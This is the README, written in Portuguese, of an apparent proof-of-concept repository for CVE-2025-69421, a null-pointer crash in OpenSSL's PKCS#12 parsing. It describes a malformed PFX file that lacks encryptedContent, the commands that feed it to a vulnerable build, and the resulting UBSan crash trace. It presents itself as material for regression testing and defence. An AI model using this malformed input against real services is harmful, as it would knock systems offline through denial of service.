
Minimal reprodutor do CVE-2025-69421 demonstrando uma desreferência de ponteiro nulo no processamento PKCS#12 do OpenSSL por meio de um arquivo PFX malformado com campo encryptedContent ausente. Inclui script de geração, inspeção ASN.1 e saída de falha acionada por UBSan para testes de regressão defensivos.
Este repositório contém um arquivo PKCS#12 malformado mínimo que reproduz o CVE-2025-69421 em um ambiente de laboratório isolado.
O PFX gerado contém EncryptedData cujo EncryptedContentInfo omite
o campo opcional encryptedContent. Versões vulneráveis do OpenSSL podem passar um
ponteiro NULL ASN1_OCTET_STRING de PKCS12_unpack_p7encdata() para
PKCS12_item_decrypt_d2i_ex(), que o desreferencia sem uma verificação de NULL.
Este reprodutor demonstra apenas uma condição de negação de serviço. Ele não executa código nem divulga informações.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Defina o diretório de compilação antes de executar o PoC:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD deve conter a libcrypto.so.3 vulnerável e o binário
apps/openssl correspondente.
Um arquivo pré-gerado está incluído. Para recriá-lo:
python3 generate.py
A saída é:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
A estrutura relevante é:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
Usando o script auxiliar:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Comando manual equivalente:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
Os indicadores importantes são:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Uma compilação corrigida do OpenSSL deve rejeitar a entrada malformada sem nenhum relatório do sanitizer nem travamento do processo. O erro pode incluir:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Componente: processamento PKCS#12 do OpenSSL
Gatilho: EncryptedData com encryptedContent ausente
Falha: desreferência de ponteiro NULL
Função: PKCS12_item_decrypt_d2i_ex()
Atingível por meio de: PKCS12_unpack_p7encdata()
Impacto: Negação de Serviço
Use este reprodutor apenas em sistemas que você possui ou para os quais está explicitamente autorizado a testar. O artefato incluído destina-se à validação defensiva e a testes de regressão.